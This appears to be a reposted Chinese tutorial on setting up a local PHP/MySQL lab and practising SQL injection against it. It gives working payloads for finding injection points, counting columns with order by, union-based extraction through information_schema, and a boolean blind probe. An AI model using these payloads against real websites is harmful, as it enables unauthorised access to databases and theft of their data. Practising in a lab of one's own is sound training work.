php mysql注入環境搭建

php+mysql注入環境搭建需要資料如下：

1.安裝phpmystudy

自定義安裝好phpmystudy，啟動(執行phpmystudy)

在phpmystudy安裝路徑下www目錄建立一下資料夾test，

3.資料接受（建立資料庫，注入傳遞引數到資料庫）

使用者名稱密碼都是root

建立乙個表列資料，接受傳遞引數查詢資料庫。（我這裡直接下資料庫test下，建立一張biao表）

create table if not exists `biao` (

`id` int(10) not null,

`title` varchar(1000) not null,

`text` varchar(1000) not null

) engine=myisam default charset=gbk;

insert into `biao` (`id`, `title`, `text`) values

(1,'滲透注入','本地搭建注入環境')

好了，到此php+mysql注入環境搭建完成。

測試：

傳遞的引數?i=1

第一步：判斷環境，尋找注入點

確定注入點：

數字型：用'號報錯就有注入的希望或者 and 1=1 and 1=2 檢測乙個正常乙個返回不正常 95%存在注入點用

猜解當前字段數： and 1=1 order by 3 （3正常，4不正常，欄位數為3）

warming： order by 語句僅用於猜解當前查詢語句查詢的字段數（即if 為 * ，則查詢所有。為name，則只查詢乙個name欄位）

輸出資料類容判斷字段位置：and 1=1 union select 1,2,3（字段個數）

注：union查詢，必須兩次查詢的結果格式相同；

注：mysql注入不需要猜測表名5.*版本以上，

因為存在mysql-information_schema資訊資料庫，即元資料，裡面含有資料庫的基本資訊；

獲取資料庫資訊：

資料庫名 database()

資料庫版本 version()

資料庫使用者 user()

作業系統 @@version_compile_os

得到資料庫為test，使用者為root，資料庫版本5.5.47

查詢test（使用小葵多功能轉換工具得到hex編碼）下的所有表名資訊：

注：mysql注入不需要猜測表名5.*版本以上，

因為存在mysql-information_schema資訊資料庫，即元資料，裡面含有資料庫的基本資訊；

查詢biao（使用小葵多功能轉換工具得到hex編碼）下的所有列名資訊：

and 1=1 union select column_name,2,3 from information_schema.columns where table_name=0x6269616f（限制表名，因為存在多個表）

直接獲取biao表名下的title列名的資料：

and 1=1 union select title,2,3 from test.biao

and left((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)='b'

總結：應該依次查詢出字端數然後以此聯合查詢庫名、表名(nformation_schema.tables)、欄位名(information_schema.columns)從information_schema元資料中，但因存在多表、多庫，必須限定查詢；其次在根據表名查詢相關欄位下的資訊；

php mysql注入環境搭建

php mysql注入環境搭建及測試上）

PHP mySQL環境一鍵搭建

SQL注入環境的搭建

php mysql注入環境搭建

php mysql注入環境搭建及測試 上）

PHP mySQL環境一鍵搭建

SQL注入環境的搭建

相關推薦

php mysql注入環境搭建及測試上）